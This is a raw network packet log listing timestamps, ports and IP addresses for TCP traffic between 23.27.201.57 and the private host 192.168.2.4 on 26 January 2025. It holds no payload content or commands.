Jan 26, 2025 08:22:17.784450054 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784463882 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784477949 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784493923 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784521103 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784528971 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784555912 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784575939 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784583092 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784601927 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784603119 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784615040 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784626007 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784626961 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784646988 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784647942 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784661055 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784667969 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784672976 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784682035 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784686089 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784706116 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784708977 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784720898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784733057 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784744024 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784748077 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784755945 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784769058 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784770012 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784781933 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784787893 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784805059 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784809113 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784817934 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784821033 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784837961 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784843922 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784851074 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784857988 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784890890 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784900904 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784903049 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784931898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784941912 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784944057 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784986019 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784986019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785000086 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785032988 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785033941 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785044909 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785084009 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785092115 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785098076 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785111904 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785134077 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785145044 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785154104 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785180092 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785187960 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785192013 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785216093 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785227060 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785233974 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785259008 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785270929 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785271883 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785284042 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785305977 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785310984 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785317898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785326004 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785331964 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785346985 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785362959 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785363913 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785375118 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785403967 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785407066 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785415888 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785424948 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785448074 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785459042 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785494089 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785506964 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785516977 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785528898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785542011 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785552025 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785563946 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785571098 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785578012 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785590887 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785595894 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785612106 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785614014 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785626888 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785640955 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785649061 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785653114 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785661936 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785689116 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785701036 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785701990 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785737038 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785739899 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785749912 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785772085 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785784006 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785789013 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.785805941 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785818100 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785845995 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785856962 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785877943 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785890102 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785911083 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785922050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785949945 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785960913 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.785994053 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786005020 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786015987 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786026955 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786048889 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786060095 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786088943 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786101103 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786112070 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786644936 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786660910 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786724091 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786794901 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786807060 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786878109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786890030 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786911011 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786921978 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786943913 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786955118 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786974907 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.786986113 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787005901 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787017107 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787067890 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787102938 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787169933 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787182093 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787193060 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787204981 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787226915 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787237883 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787261963 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787273884 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787329912 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787342072 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787383080 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787395000 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787410975 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787424088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787491083 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787502050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787527084 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787539005 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787550926 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787570953 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787623882 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787635088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787672997 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787684917 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787710905 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787722111 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787759066 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787770987 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787792921 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787805080 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787833929 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787846088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787878036 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787889004 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787930012 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787941933 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787969112 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787981033 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.787993908 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788005114 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788026094 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788037062 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788110971 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788121939 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788146019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788157940 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788178921 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788189888 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788203955 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788217068 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788239002 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788266897 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788320065 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788331032 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788362026 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788373947 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788465977 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788477898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788500071 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788511992 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788532019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788542986 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788563967 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788574934 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788633108 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788645029 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788666964 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788677931 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788698912 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788710117 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788732052 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788743019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788784981 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788796902 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788816929 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788829088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788844109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788876057 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788887024 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788898945 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788921118 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788932085 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788952112 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788963079 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788984060 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.788995028 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789045095 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789057016 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789077044 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789088964 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789109945 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789120913 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789140940 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789151907 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789257050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789268970 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789279938 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789294004 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789314985 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789325953 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789345980 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789361000 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789381027 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789392948 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789484024 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789495945 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789508104 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789520025 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789541006 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789551973 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789571047 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789582014 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789638042 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789650917 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789671898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789683104 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789702892 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789715052 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789755106 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789766073 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789812088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789824009 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789836884 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789848089 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789932966 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789944887 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.789958954 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790015936 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790029049 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790050030 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790098906 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790111065 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790131092 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790143013 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790163994 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790174961 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790221930 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790234089 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790277958 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790290117 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790302038 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790332079 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790344000 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790452957 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790517092 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790687084 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790740013 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790751934 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790787935 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790862083 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790884972 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790896893 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790951014 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.790961981 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791007996 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791018963 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791054010 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791065931 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791086912 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791099072 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791120052 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791131020 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791182041 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791193962 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791238070 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791249037 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791341066 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791353941 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791364908 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791376114 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791397095 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791408062 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791419029 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791429996 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791450024 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791461945 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791517019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791528940 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791563988 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791574955 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791609049 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791620970 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791665077 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791676998 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791697979 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.791708946 CET	62529	49733	23.27.201.57	192.168.2.4
